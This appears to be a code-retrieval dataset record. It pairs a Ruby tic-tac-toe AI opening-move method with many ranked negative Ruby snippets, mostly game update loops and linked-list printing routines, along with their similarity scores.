[ "0.672504", "0.6705468", "0.65184516", "0.63990325", "0.6251436", "0.62277734", "0.6200909", "0.6138903", "0.6072342", "0.6067826", "0.60566854", "0.60341907", "0.59921646", "0.5970218", "0.5907847", "0.58910036", "0.589", "0.58713377", "0.5851138", "0.58451957", "0.58270913", "0.58225447", "0.58127254", "0.576672", "0.5763083", "0.5737416", "0.5725766", "0.57188684", "0.57163334", "0.5702781", "0.5683003", "0.56731075", "0.566417", "0.5663012", "0.5655383", "0.56510246", "0.56338626", "0.56333435", "0.5617628", "0.5615372", "0.5605416", "0.56028306", "0.5595199", "0.55934805", "0.5592138", "0.5591809", "0.55913305", "0.5589107", "0.5588423", "0.5584859", "0.5581644", "0.55799884", "0.55799884", "0.55799115", "0.5575658", "0.55713713", "0.5552669", "0.55481327", "0.5544036", "0.5534692", "0.5524362", "0.55176", "0.5517424", "0.55161124", "0.55130583", "0.55130583", "0.55130583", "0.55130583", "0.5508203", "0.5508138", "0.5508021", "0.5504882", "0.55019903", "0.5498438", "0.5498419", "0.5496854", "0.5494034", "0.54916435", "0.54862833", "0.5470846", "0.54659855", "0.54623586", "0.5459769", "0.54596895", "0.54587203", "0.54557616", "0.5454914", "0.54463863", "0.5443297", "0.54413044", "0.543819", "0.5436683", "0.5436098", "0.54360354", "0.54334795", "0.54331183", "0.54298043", "0.5429718", "0.5427525", "0.5426896" ]
0.7889941
0
in this method we want to continue printing out the contents of :data until there is no data left to be printed (the base :next is set to nil) the boolean value of nil is false
def print_list(list) while list puts list[:data] #print out the value assigned to the data key for each node in the list list = list[:next] #assign the next node to the list variables end #this means that the next time list[:data] is printed the next value down the node will be puts to stdout end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def print\n @current = @head\n until @current == nil\n puts @current.data\n @current = @current.next\n end\n end", "def print\n node = @head\n until node.eql?(nil) do\n puts node.data\n node = node.next\n end\n end", "def print\n current = @head\n while (current.next != nil || current == @tail)\n puts current.data\n break if current == tail\n current = current.next\n end\n end", "def visit\n current = @head\n while current != nil\n print \"#{current.data} \"\n current = current.next\n end\n puts\n end", "def print\n return nil if @head.nil?\n print_string = \"\"\n current = @head\n print_string.concat(current.data + \"\\n\")\n until current.next.nil?\n current = current.next\n print_string.concat(current.data + \"\\n\")\n end\n puts print_string\n end", "def print\n str = \"\"\n current = self.head\n while current != nil do\n str = \"#{str}#{current.data}\"\n current = current.next\n if current != nil\n str += \"\\n\"\n end\n end\n puts str\n end", "def walkthrough\n curNode = @head\n while curNode != nil\n curNode.data.print()\n curNode = curNode.next\n end\n end", "def has_next?; end", "def print\n list_head = self.head\n next_node = list_head.next\n while next_node\n next_node = next_node.next unless next_node.next === false\n end\n end", "def has_next()\n \n end", "def has_next()\n \n end", "def print\n output = \"\"\n temp = self.head\n while temp\n output << temp.data << \"\\n\"\n temp = temp.next\n end\n puts output\n end", "def print\n\t\tif self.length == 0\n\t\t\tputs \"empty\"\n\t\telse\n\t\t\tself.full_scan { |item| puts item.data }\n\t\tend\n\tend", "def print\n\t\tif self.length == 0\n\t\t\tputs \"empty\"\n\t\telse\n\t\t\tself.full_scan { |item| puts item.data }\n\t\tend\n\tend", "def empty?\n @next.nil?\n end", "def print\n node = self.head\n while node != self.tail\n break if node.nil?\n puts node.data\n node = node.next\n end\n puts self.tail.data\n end", "def print\n current_head = self.head\n current_tail = self.tail\n if current_head == current_tail\n puts \"The linked list has one member: #{current_head.data}\"\n else\n current = current_head\n string = \"\"\n until current == current_tail\n string += \"#{current.data}\\n\"\n current = current.next\n end\n string += \"#{current.data}\\n\"\n puts string\n end\n\n end", "def print\n node = self.head\n until node == nil \n puts(node.data)\n node = node.next\n end\n end", "def print\n if self.head == nil\n p \"\"\n elsif self.head == self.tail\n $stdout.print(\"#{self.head.data}\\n\")\n else\n output = \"\"\n temp_node = self.head\n while temp_node != nil\n output += \"#{temp_node.data}\\n\"\n temp_node = temp_node.next\n end\n $stdout.print(output)\n end\n end", "def print\n x = @head\n until x.nil?\n super \"-->#{x.value}\"\n x = x.right\n end\n puts \"\"\n @hash.each{|k,v| super \" #{k.inspect} => #{v.value} \"} and nil\n puts \"\"\n end", "def has_next\n\t\tend", "def print\r\n\ttemp = @first\r\n\twhile !(temp.nil?)\r\n\t\tprintf \" #{temp.value}\"\r\n\t\ttemp = temp.next\r\n\tend\r\n end", "def print\n current_node = @head\n while current_node != @tail\n puts current_node.data\n current_node = current_node.next\n end\n puts current_node.data\n end", "def print\r\n temp = @first\r\n while !temp.nil?\r\n printf \"#{temp.value} \"\r\n temp = temp.next\r\n end\r\n end", "def print\n output = \"\"\n current_node = self.head\n\n until current_node.nil?\n output += current_node.data + \"\\n\"\n current_node = current_node.next\n end\n\n puts output\n end", "def print\n current_node = @head\n while current_node != nil\n puts \"#{current_node.data}\\n\"\n current_node = current_node.next\n end\n end", "def print\n\t\tif self.length == 0\n\t\t\tputs \"empty\"\n\t\telse\n\t\t\tself.each { |item| puts item.data }\n\t\tend\n\tend", "def print\n temp_node = @head\n\n while temp_node != @tail\n if temp_node.next == @tail\n puts temp_node.data\n puts temp_node.next.data\n break\n else\n puts temp_node.data\n temp_node = temp_node.next\n end\n end\n end", "def print\r\n temp = @first\r\n while !temp.nil?\r\n printf \" #{temp.value}\"\r\n temp = temp.next\r\n end\r\n end", "def print\r\n temp = @first\r\n while !temp.nil?\r\n printf \" #{temp.value}\"\r\n temp = temp.next\r\n end\r\n end", "def display\n current = @head\n full_list = []\n while current.next != nil\n full_list += [current.data.to_s]\n current = current.next\n end\n full_list += [current.data.to_s]\n puts full_list.join(\"->\")\n end", "def print\n temp = @first\n while !temp.nil?\n printf \" #{temp.value}\"\n temp = temp.next\n end\n end", "def print\n if self.length == 0\n puts \"empty\"\n else\n self.each { |node| puts node.data }\n end\n end", "def print\n temp = @first\n while !temp.nil?\n printf \" #{temp.value}\"\n temp = temp.next\n end \n end", "def print()\r\n temp = @first\r\n while !temp.nil?\r\n printf \" #{temp.value}\"\r\n temp = temp.next\r\n end\r\n end", "def print\n current_node = @head\n\n until current_node.nil?\n puts \"#{current_node.value} \"\n\n current_node = current_node.next\n end\n end", "def reverse_print\n\t\tif self.length == 0\n\t\t\tputs \"empty\"\n\t\telse\n\t\t\tself.reverse_each { |item| puts item.data }\n\t\tend\n\tend", "def print\n if self.head != nil\n current = self.head\n while current != nil\n current = current.next\n end\n end\n end", "def reverse_print\n if self.length == 0\n puts \"empty\"\n else\n self.reverse_each { |item| puts item.data }\n end\nend", "def print\n if !@head.nil?\n current_node = @head\n until current_node == tail\n p self.size\n if self.size > 1\n puts \"#{current_node.key}: #{current_node.value}\"\n current_node = current_node.next\n end\n end\n if current_node == @tail\n puts \"#{current_node.key}: #{current_node.value}\"\n end\n end\n end", "def next?\n not self.next.nil?\n end", "def peek()\n puts @head.data\n end", "def peek()\n puts @head.data\n end", "def next?\n not_finished?\n end", "def next?()\n !end?\n end", "def display_exemple\n @array.each_with_index do |element, index|\n \tif index < @array.count-1 \n \t\tputs \"(data : #{element.value}) --> #{element.next_node.value}\"\n \telse\n \t\tputs \"(data : #{element.value}) --> #{element.next_node}\"\n \tend\n end\n end", "def next?\n !token.nil?\n end", "def next?\n !token.nil?\n end", "def next?\n !token.nil?\n end", "def next?\n !token.nil?\n end", "def next?\n !token.nil?\n end", "def next?\n !token.nil?\n end", "def next?\n !token.nil?\n end", "def next?\n !token.nil?\n end", "def has_next?()\n return false if @limit != nil && @offset >= @limit\n\n load_next_page() if @data == nil\n\n return true if @pos < @data.length\n\n return false if !@truncated\n\n load_next_page()\n\n @pos < @data.length\n end", "def tail?\n @next.nil?\n end", "def tail?\n @next.nil?\n end", "def print() #output all the values in the list #Code Type B\n current_node = @head #start from the top... yet, #Code Type B\n if current_node.nil? # if there's no head => the list is empty #Code Type B\n return nil #exit out of this #Code Type B\n end #Code Type B\n puts \"\\nx\\ty\\n------------\" #Code Type A\n\n while current_node != nil #Code Type B\n puts \"#{current_node.x}\\t#{current_node.y}\" #Code Type M\n current_node = current_node.next #Code Type B\n end #Code Type B\n end", "def print\n current = @head\n while current != nil\n puts \"#{current.key}: #{current.value}\"\n current = current.next\n end\n end", "def visit\r\n cursor = @head\r\n while cursor\r\n puts cursor.data\r\n end\r\n end", "def next_entry?\n next_entry.present?\n end", "def break_after_print\n checked_puts if @prev_printed\n end", "def has_next()\n !@array[@k+1].nil?\n end", "def traverse()\n current = @head\n until current.nil?\n puts current.data\n current = current.nextNode\n end\n end", "def next?\n !@continuation.nil?\n end", "def next()\n \n end", "def next()\n \n end", "def detailed\n if (@data.length > 0)\n mygrade = grade || \"\"\n puts \"#{@type}: #{mygrade}\"\n for datum in @data\n puts \"\\t#{datum}\"\n end \n return true\n end\n end", "def recursive_print(result=\"\", node=@head)\n\t\tif node.nil?\n\t\t\treturn result\n\t\tend \n\t\tresult += node.data\n\t\tif node.next \n\t\t\tresult += \" > \"\n\t\tend \n\t\trecursive_print(result, node.next)\n\tend", "def has_next()\n @i <= @arr.length && @arr[@i] != nil\n end", "def print_list\n current_node = @head\n\n until current_node == nil\n\t print \"#{current_node.value} -> \"\n\t current_node = current_node.next\n end\n\n puts '' \t\n end", "def display(head)\n current = head\n while current\n print current.data,\" \"\n current = current.next\n end\n end", "def has_next()\n return @strings.length > 0 \n end", "def next() end", "def next() end", "def print\n arr = []\n node = @head\n while node\n arr << node.data\n node = node.next\n end\n puts arr\n end", "def next\n @next && @next.value\n end", "def has_next\n return !(self.next_node.nil?)\n end", "def empty?\n head.data.nil?\n end", "def print_values(list_node)\r\n # prints the node (node1)'s first element, which is\r\n # node1.value, which is 37\r\n # followed by an arrow\r\n print \"#{list_node.value} --> \"\r\n # THEN, if next_node = nil (which is default, which\r\n # means we've reached the end of list_node or node1)\r\n # ...\r\n if list_node.next_node.nil?\r\n # ... prints nil, signifying the end of the line\r\n print \"nil\\n\"\r\n return\r\n else\r\n # BUT if next_node != nil, which means we still have\r\n # some numbers to print, we loop through the function\r\n # again, sending us back up to the beginning of the\r\n # function. \r\n print_values(list_node.next_node)\r\n # So what this here is doing is taking the \r\n # print_values function and applying it to the\r\n # next_node, which in this case could be node2\r\n # if list_node = node3, and then we print the \r\n # value and check to see if we're at the end. \r\n # We keep looping until we reach nil/the end.\r\n end\r\nend", "def print\n\t#start printing all the node values from the head\n\t\tcurrent_node = @head\n\n\t#the tail will have a pointer value of nil so it will stop printing when it gets to a nil value\n\t\twhile current_node != nil\n\t\t\tputs \"Linked List node value = #{current_node.value}\"\n\t\t\tcurrent_node = current_node.pointer\n\t\tend\n\tend", "def empty?\n\t\t\t@head.next == nil\n\t\tend", "def empty?\n peek\n false\n rescue StopIteration\n true\n end", "def print\n placeholder = @head\n list = \"\"\n while placeholder.next\n list += placeholder.data + \"\\n\"\n placeholder = placeholder.next\n end\n list += placeholder.data + \"\\n\" # the plus \"\\n\" added because of the way the spec is written.\n printf list\n end", "def next?\n !@push.nil? ? true : @input.nil? ? false : @input.empty? ? false : @index >= @input.length ? false : true\n end", "def to_s\n head\n until @current_node.next == nil\n print \"(#{@current_node.data}) -> \"\n self.next_node\n end\n print \"(#{@current_node.data}) -> nil\\n\"\n end", "def printData()\n puts @data\n end", "def print\n \tlist = ''\n \tcurrent = @head\n \twhile !current.nil?\n list = list + \"#{current.value}\"\n list = list + ' ' if current.next != nil \n current = current.next\n \tend\n \tlist\n end", "def view()\n puts \"top\"\n puts \"=====\"\n\n current = @head\n\n while current != nil\n puts current.value\n\n current = current.next\n end\n\n puts \"=====\"\n puts \"bottom\"\n end", "def next\n\t\tend", "def reverse_print\n\t\taux = @tail\n\t\t\n\t\twhile aux != nil do\n\t\t\tputs aux.value.to_s\n\t\t\taux = aux.prev\n\t\tend\n\tend", "def next\n end", "def next\n end", "def has_next?\n !!@links['next']\n end", "def print_values(list_node)\n print \"#{list_node.value} --> \"\n\n # This is telling the terminal to print the string # of: print_values.@value with -->\n\n if list_node.next_node.nil?\n print \"nil\\n\"\n return\n # the if statement is saying that if the combination of list_node.next_node.nil?(unknown)\n # you need to print the unknown/n\n # BUT if from the list it's only the list_node.next_node, print that value. \n else\n print_values(list_node.next_node)\n end\nend", "def delete_next?\n inside_blank_pair?\n end", "def to_s\n\n\t\tif @head == nil\n\t\t\tputs \"empty\"\n\t\telse\n\t\t\tputs \"[ \"\n\t\t\tactual = @head\n\t\t\twhile actual != nil\n\t\t\t\tactual.to_s\n\t\t\t\tactual = actual.next\n\t\t\tend\n\t\tend\n\t\tputs \" ]\"\n\tend", "def end_of_stream?\n @next_chunk.nil?\n end", "def checked_print object = ''\n print object\n @prev_printed = true\n end", "def iterator?() end" ]
[ "0.6897771", "0.6564448", "0.65563524", "0.6539994", "0.6514462", "0.65077573", "0.6503468", "0.64534813", "0.64151883", "0.6411897", "0.6411897", "0.63850516", "0.6303497", "0.6303497", "0.63030833", "0.6259743", "0.6229117", "0.62016344", "0.61454207", "0.61438835", "0.6133887", "0.61175245", "0.61119306", "0.610129", "0.60948837", "0.6087867", "0.60839254", "0.60756856", "0.60618937", "0.60618937", "0.6058362", "0.6040789", "0.6031454", "0.6029688", "0.6017424", "0.60114473", "0.5973892", "0.59415555", "0.5904905", "0.5887906", "0.58865064", "0.588586", "0.588586", "0.58686835", "0.58683723", "0.58654624", "0.58446175", "0.58446175", "0.58446175", "0.58289135", "0.58289135", "0.58289135", "0.58289135", "0.58289135", "0.5823891", "0.5810826", "0.5810826", "0.5799527", "0.5799117", "0.5788159", "0.5785487", "0.5773904", "0.57599366", "0.57437253", "0.57394487", "0.5719153", "0.5719153", "0.5700034", "0.56957793", "0.5680403", "0.56722194", "0.566739", "0.5666907", "0.5655544", "0.5655544", "0.5645981", "0.56404585", "0.56389916", "0.562571", "0.5611889", "0.5584278", "0.55821925", "0.5573213", "0.5568868", "0.55597305", "0.5543926", "0.5542281", "0.54942155", "0.5489209", "0.54787666", "0.54762673", "0.5470665", "0.5470665", "0.5459329", "0.5453672", "0.54506105", "0.5440325", "0.5439835", "0.54262763", "0.5411421" ]
0.58109105
55
this really speeds the game up
def first_move(game) if self.ai_player == "X" self.choice = "C3" return 10 elsif self.ai_player == "O" first_play = { "A1" => "B2", "B1" => "B3", "C1" => "B2", "A2" => "A3", "B2" => "C3", "C2" => "C3", "A3" => "B2", "B3" => "C3", "C3" => "B2" } m = Matrix[*game.board.cells].index{|a| a} coord = "#{alphabetize(m[0])}#{m[1]+1}" self.choice = first_play[coord] return "10" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def pedal_faster\n\t\t@speed += 10\n\tend", "def game_loop\n end", "def game_loop\n end", "def run\n @speed = 5\n end", "def update\n return if self.disposed?\n @sprites[\"bg\"].update\n @sprites[\"streak\"].update\n @sprites[\"shine\"].angle += 8.delta_sub if $PokemonSystem.screensize < 2\n @sprites[\"shine\"].zoom_x -= (0.04*@sprites[\"shine\"].toggle).delta_sub(true)\n @sprites[\"shine\"].zoom_y -= (0.04*@sprites[\"shine\"].toggle).delta_sub(true)\n @sprites[\"shine\"].toggle *= -1 if @sprites[\"shine\"].zoom_x <= 0.8 || @sprites[\"shine\"].zoom_x >= 1.2\n # skips the animation that is not called before the end of the whole animation\n return if !@started\n @viewport.color.alpha -= 16.delta_sub if @viewport.color.alpha > 0\n @sprites[\"trainer_a\"].x -= 1 if @i < 12\n @sprites[\"vs\"].x += @sprites[\"vs\"].toggle\n @sprites[\"vs\"].y += @sprites[\"vs\"].toggle\n @sprites[\"vs\"].toggle *= -1 if (@sprites[\"vs\"].x - 140).abs >= 2\n @i += 1 if @i < 128\n end", "def start\n @speed = 10\n end", "def update\n super\n $game_chrono.update\n @window_gameDescription.update() unless @window_gameDescription == nil\n @inPauseMode = false\n #sleep(0.5)\n if @spriteGem1 != nil && @spriteGem1.moving && @spriteCursor1 != nil && @spriteGem2 != nil && @spriteCursor2 != nil \n update_switch2Gem()\n elsif( @spriteGems != nil ) #&& @spriteGems[6].moving )\n#~ for y in 0...BOARD_MAX_Y\n#~ #@spriteGems[y].update\n#~ # if( isUpdating == false )\n#~ # sleep(2)\n#~ # end\n#~ end\n end\n if( @isHeroAttacking == true && @HeroAttackZone != nil )\n \n if ( @HeroAttackZone.update )\n @inPauseMode = true \n #@HeroAttackZone.doAnimation( 1, false )\n # @HeroAttackZone.start_animation($data_animations[1], false)\n else\n @inPauseMode = false \n @HeroAttackZone = nil\n end \n end\n \n end", "def accelerate\n @speed += 1\n end", "def perform_slowmotion\n if $game_temp.slowmotion_frame > 0\n ($game_temp.slowmotion_rate - 1).times do\n @spriteset.prevent_collapse_glitch \n # Just kill weird glitch for collapse effect\n Graphics.update\n end\n $game_temp.slowmotion_frame -= 1\n end\n end", "def main\n # fade in scene\n 16.times do\n self.update\n @viewport.color.alpha -= 16\n Graphics.update\n end\n # hide silhouette\n h = (@sprites[\"sil\"].bitmap.height/32.0).ceil\n 32.times do\n self.update\n @sprites[\"sil\"].src_rect.height -= h\n Graphics.update\n end\n # play cry\n GameData::Species.cry_filename_from_pokemon(@pokemon)\n # begin loop\n loop do\n Graphics.update\n Input.update\n self.update\n break if Input.trigger?(Input::C)\n end\n # moves Pokemon sprite to middle of screen\n w = (@viewport.width/2 - @sprites[\"poke\"].x)/32\n 32.times do\n @sprites[\"contents\"].color.alpha += 16\n @sprites[\"bg\"].color.alpha += 16\n @sprites[\"highlight\"].color.alpha += 16\n @sprites[\"poke\"].x += w\n @sprites[\"color\"].opacity += 8\n for i in 1..3\n @sprites[\"c#{i}\"].opacity += 8\n end\n self.update\n Graphics.update\n end\n @sprites[\"poke\"].x = @viewport.width/2\n Graphics.update\n end", "def pedal_faster\n @current_speed = @current_speed+1\n end", "def speed_up\n self.speed += 5\n info\n end", "def speed_up\n self.speed += 5\n info\n end", "def update\n return if self.disposed?\n @viewport.color.alpha -= 8 if @viewport.color.alpha > 0\n @sprites[\"bg\"].update\n @sprites[\"streak\"].update\n @sprites[\"shine\"].opacity += 16/self.delta if @sprites[\"shine\"].opacity < 255\n @sprites[\"shine\"].angle += 8/self.delta if $PokemonSystem.screensize < 2\n @sprites[\"shine\"].zoom_x -= 0.04*@sprites[\"shine\"].toggle/self.delta\n @sprites[\"shine\"].zoom_y -= 0.04*@sprites[\"shine\"].toggle/self.delta\n @sprites[\"shine\"].toggle *= -1 if @sprites[\"shine\"].zoom_x <= 0.8 || @sprites[\"shine\"].zoom_x >= 1.2\n return if !@started\n @sprites[\"vs\"].x += @sprites[\"vs\"].toggle\n @sprites[\"vs\"].y += @sprites[\"vs\"].toggle\n @sprites[\"vs\"].toggle *= -1 if (@sprites[\"vs\"].x - 92).abs >= 2*self.delta\n end", "def update\n if idle?\n if Gosu.distance(@hb.x,@hb.y,$WINDOW.player.hb.x, $WINDOW.player.hb.y) < 150\n # If distance is 150 or less, behaviour changes to approaching\n change_state(GameStates::States::WALKING)\n @vect_v = 1\n @vect_angle = Gosu.angle(@hb.x, @hb.y, $WINDOW.player.hb.x, $WINDOW.player.hb.y)\n end\n elsif walking?\n # While walking, wolf tries to approach the main character\n @vect_angle = Gosu.angle(@hb.x, @hb.y, $WINDOW.player.hb.x, $WINDOW.player.hb.y)\n if @una_check_tiks <= 0\n # When next attack check counter reaches 0, wolf can attack.\n dieroll = Random.rand\n if dieroll <= ATTACK_PROBABILITY\n # If random is within attack probability, the wolf changes behaviour to attack\n change_state(GameStates::States::ATTACKING)\n @event_tiks =60\n @vect_v = 0\n else\n #If random is not within attack probability, next attack check counter is reset to 30.\n @una_check_tiks = 30\n end\n end\n check_change_dir\n elsif attacking?\n # If attacking, wolf waits for a little while, then charges in a straight line. Then waits a little while.\n if @event_tiks > 20\n check_change_dir\n elsif @event_tiks == 20\n @vect_angle = Gosu.angle(@hb.x, @hb.y, $WINDOW.player.hb.x, $WINDOW.player.hb.y)\n @vect_v = 3.5\n elsif @event_tiks == 10\n @venct_v = 0\n elsif @event_tiks <= 0\n change_state(GameStates::States::IDLE)\n @una_check_tiks = 100\n end\n end\n\n if normal? && $WINDOW.player.inv_frames <= 0 && !$WINDOW.player.recoiling? && @hb.check_brute_collision($WINDOW.player.hb)\n # If it connects with player, player is set to impacted.\n $WINDOW.player.impacted(@hb.center, @attack_dmg)\n end\n\n if !idle? && Gosu.distance(@hb.x,@hb.y,$WINDOW.player.hb.x, $WINDOW.player.hb.y) > 250\n #If distance surpasses 250, the wolf turns back to idle.\n change_state(GameStates:States::IDLE)\n end\n\n super\n @una_check_tiks -= 1 unless idle? || @una_check_tiks <= 0\n end", "def update\n moving = moving?\n # Executes the animation when turning\n if @turncount\n @turncount -= 1\n if @turncount == 0\n @turncount = nil\n @sprite.src_rect.x += @sprite.src_rect.width\n @sprite.src_rect.x = 0 if @sprite.src_rect.x >= @sprite.bitmap.width\n end\n end\n @sprite.z = @sprite.y + 31\n # Executes the animation when moving against an impassable tile\n if @fake_anim\n @fake_anim -= 1 if @fake_anim > 0\n if @fake_anim == 0\n @sprite.src_rect.x += @sprite.src_rect.width\n play = false\n if @sprite.src_rect.x.to_f / @sprite.bitmap.width * 4 % 2 == 1\n play = true\n end\n @sprite.src_rect.x = 0 if @sprite.src_rect.x >= @sprite.bitmap.width\n if @stop_fake_anim\n @fake_anim = nil\n @stop_fake_anim = false\n @sprite.src_rect.x += @sprite.src_rect.width if (@sprite.src_rect.x.to_f / @sprite.bitmap.width * 4) % 2 != 0\n @sprite.src_rect.x = 0 if @sprite.src_rect.x >= @sprite.bitmap.width\n else\n @fake_anim = 16\n Audio.se_play(\"audio/se/wallbump.wav\") if play\n end\n end\n end\n # Starts and stops the slower animation when moving against an impasasble tile\n if @oldfake_move != @game_player.fake_move\n if !@game_player.fake_move\n @stop_fake_anim = true\n else\n @fake_anim = 0\n @stop_fake_anim = false\n end\n end\n # Changes the sprite's bitmap if the player's graphic changed\n if @game_player.graphic_name != @oldgraphic\n frame_x = @sprite.src_rect.x.to_f / @sprite.bitmap.width * 4\n frame_y = @sprite.src_rect.y.to_f / @sprite.bitmap.height * 4\n @sprite.set_bitmap(\"gfx/characters/\" + @game_player.graphic_name)\n @sprite.src_rect.width = @sprite.bitmap.width / 4\n @sprite.src_rect.height = @sprite.bitmap.height / 4\n @sprite.ox = @sprite.src_rect.width / 2\n @sprite.oy = @sprite.src_rect.height\n @sprite.src_rect.x = frame_x * @sprite.src_rect.width\n @sprite.src_rect.y = frame_y * @sprite.src_rect.height\n end\n # Add horizontal movement to the move queue\n if @game_player.global_x != @oldx && !@skip_movement\n @xdist << 32 * (@game_player.global_x - @oldx)\n @xtrav << 0\n @xloc << @game_player.global_x\n h = {}\n if @xstart[0]\n @xstart.last.each_key { |k| h[k] = @xstart.last[k] - @xdist.last }\n else\n $visuals.maps.each_key { |k| h[k] = $visuals.maps[k].real_x }\n end\n @xstart << h\n anims = []\n pos = @game_player.global_x - @oldx > 0\n aframes = 2\n (aframes * (@game_player.global_x - @oldx).abs).times { |i| anims << (32.0 / aframes) * i * (pos ? 1 : -1) }\n @anim << anims\n if @xtrav.size == 1\n @sprite.src_rect.x += @sprite.src_rect.width if (@sprite.src_rect.x.to_f / @sprite.bitmap.width * 4) % 2 != 0\n @sprite.src_rect.x = 0 if @sprite.src_rect.x >= @sprite.bitmap.width\n end\n @fake_anim = nil\n @stop_fake_anim = false\n end\n # Add vertical movement to the move queue\n if @game_player.global_y != @oldy && !@skip_movement\n @ydist << 32 * (@game_player.global_y - @oldy)\n @ytrav << 0\n @yloc << @game_player.global_y\n h = {}\n if @ystart[0]\n @ystart.last.each_key { |k| h[k] = @ystart.last[k] - @ydist.last }\n else\n $visuals.maps.each_key { |k| h[k] = $visuals.maps[k].real_y }\n end\n @ystart << h\n anims = []\n pos = @game_player.global_y - @oldy > 0\n aframes = 2\n (aframes * (@game_player.global_y - @oldy).abs).times { |i| anims << (32.0 / aframes) * i * (pos ? 1 : -1) }\n @anim << anims\n if @ytrav.size == 1\n @sprite.src_rect.x += @sprite.src_rect.width if (@sprite.src_rect.x.to_f / @sprite.bitmap.width * 4) % 2 != 0\n @sprite.src_rect.x = 0 if @sprite.src_rect.x >= @sprite.bitmap.width\n end\n @fake_anim = nil\n @stop_fake_anim = false\n end\n # Executes the horizontal movement\n if @xtrav[0] && @xdist[0]\n if @xtrav[0].abs < @xdist[0].abs\n dist = @game_player.speed * (@xdist[0] < 0 ? -1 : 1)\n oldtrav = @xtrav[0]\n @xtrav[0] += dist\n @xtrav[0] = @xdist[0] < 0 ? [@xtrav[0], @xdist[0]].max : [@xtrav[0], @xdist[0]].min\n if @anim[0].size > 0 && (@xdist[0] > 0 && @xtrav[0] > @anim[0][0] || @xdist[0] < 0 && @xtrav[0] < @anim[0][0])\n @sprite.src_rect.x += @sprite.src_rect.width\n @sprite.src_rect.x = 0 if @sprite.src_rect.x >= @sprite.bitmap.width\n @anim[0].delete_at(0)\n end\n $visuals.maps.values.each { |m| m.real_x = @xstart[0][m.id] - @xtrav[0] }\n $visuals.map_renderer.move_x(@xtrav[0] - oldtrav)\n else # Movement completed\n @xtrav.delete_at(0)\n @xdist.delete_at(0)\n @xstart.delete_at(0)\n x = @xloc[0]\n y = @yloc[0] || @game_player.global_y\n SystemEvent.trigger(:taken_step, *$game.map.global_to_local(x, y))\n @xloc.delete_at(0)\n @anim.delete_at(0)\n end\n end\n # Executes the vertical movement\n if @ytrav[0] && @ydist[0]\n if @ytrav[0].abs < @ydist[0].abs\n dist = @game_player.speed * (@ydist[0] < 0 ? -1 : 1)\n oldtrav = @ytrav[0]\n @ytrav[0] += dist\n @ytrav[0] = @ydist[0] < 0 ? [@ytrav[0], @ydist[0]].max : [@ytrav[0], @ydist[0]].min\n if @anim[0].size > 0 && (@ydist[0] > 0 && @ytrav[0] > @anim[0][0] || @ydist[0] < 0 && @ytrav[0] < @anim[0][0])\n @sprite.src_rect.x += @sprite.src_rect.width\n @sprite.src_rect.x = 0 if @sprite.src_rect.x >= @sprite.bitmap.width\n @anim[0].delete_at(0)\n end\n $visuals.maps.values.each { |m| m.real_y = @ystart[0][m.id] - @ytrav[0] }\n $visuals.map_renderer.move_y(@ytrav[0] - oldtrav)\n else\n @ytrav.delete_at(0)\n @ydist.delete_at(0)\n @ystart.delete_at(0)\n x = @xloc[0] || @game_player.global_x\n y = @yloc[0]\n SystemEvent.trigger(:taken_step, *$game.map.global_to_local(x, y))\n @yloc.delete_at(0)\n @anim.delete_at(0)\n end\n end\n # Stores old values for comparison in the next #update call\n @oldx = @game_player.global_x\n @oldy = @game_player.global_y\n @oldgraphic = @game_player.graphic_name\n @oldfake_move = @game_player.fake_move\n @skip_movement = false if @skip_movement\n end", "def game; end", "def game; end", "def game; end", "def game; end", "def game; end", "def game; end", "def game; end", "def update\n loop do\n if (Time.now.to_f - @_ntime.to_f) >= @time.to_f\n Graphics.update \n terminate\n break \n return\n end\n Input.update\n if Input.trigger?(Input::C) && $game_temp.mskip\n terminate\n break \n return\n end\n if @refreshTime >= rtime\n Graphics.update \n @refreshTime = 0\n end\n @refreshTime += 1\n end\n end", "def run\n start_game\n game_loop\n end_game\n end", "def update\n if $game_system.battle_interpreter.running?\n $game_system.battle_interpreter.update\n if $game_temp.forcing_battler == nil\n unless $game_system.battle_interpreter.running?\n unless judge\n setup_battle_event\n end\n end\n if @phase != 5\n @status_window.refresh\n end\n end\n end\n $game_system.update\n $game_screen.update\n if $game_system.timer_working and $game_system.timer == 0\n $game_temp.battle_abort = true\n end\n @help_window.update\n @party_command_window.update\n @actor_command_window.update\n @status_window.update\n @message_window.update\n @spriteset.update\n if $game_temp.transition_processing\n $game_temp.transition_processing = false\n if $game_temp.transition_name == \"\"\n Graphics.transition(20)\n else\n Graphics.transition(40, \"Graphics/Transitions/\" +\n $game_temp.transition_name)\n end\n end\n if $game_temp.message_window_showing\n return\n end\n if @spriteset.effect?\n return\n end\n if $game_temp.gameover\n $scene = Scene_Gameover.new\n return\n end\n if $game_temp.to_title\n $scene = Scene_Title.new\n return\n end\n if $game_temp.battle_abort\n $game_system.bgm_play($game_temp.map_bgm)\n battle_end(1)\n return\n end\n if @wait_count > 0\n @wait_count -= 1\n return\n end\n\n # this one holds the battle while the player moves\n for actor in @spriteset.actor_sprites\n if actor.moving\n if $FOG == \"on\"\n if $FOG_E or $FOG_A\n if actor.y >= 200\n actor.bush_depth = 12\n else\n actor.bush_depth = 0\n end\n end\n end\n return\n end\n if $FOG == \"on\"\n if $FOG_E or $FOG_A\n if actor.y >= 200\n actor.bush_depth = 24\n else\n actor.bush_depth = 0\n end\n end\n end\n end\n # and this one is for the enemy... \n for enemy in @spriteset.enemy_sprites\n if enemy.moving# and $game_system.animated_enemy\n if $FOG == \"on\"\n if $FOG_E or $FOG_A\n if enemy.y >= 200\n enemy.bush_depth = 24\n else\n enemy.bush_depth = 0\n end\n end\n end\n return\n end\n if $FOG == \"on\"\n if $FOG_E or $FOG_A\n if enemy.y >= 200\n enemy.bush_depth = 12\n else\n enemy.bush_depth = 0\n end\n end\n end\n end\n \n if $game_temp.forcing_battler == nil and\n $game_system.battle_interpreter.running?\n return\n end\n case @phase\n when 1\n update_phase1\n when 2\n update_phase2\n when 3\n update_phase3\n when 4\n update_phase4\n when 5\n update_phase5\n end\n end", "def step\n if @game_over\n game_over!\n @event_handler.update\n else\n # background for playing field and hud\n @screen.fill :black\n @screen.fill [50,50,50], Rect.new(Configuration.screen[:hud_rect])\n\n @event_handler.update\n @hud.update @clock.framerate.ceil, @round, @enemies.length, @money, @lives+1, @round_timer\n\n update_timer\n restock_enemies! if @restock_enemies > 0\n\n @the_path.draw @screen # Draw the enemy path.\n @enemies.draw @screen # Draw the enemies.\n @towers.draw @screen # Draw all set 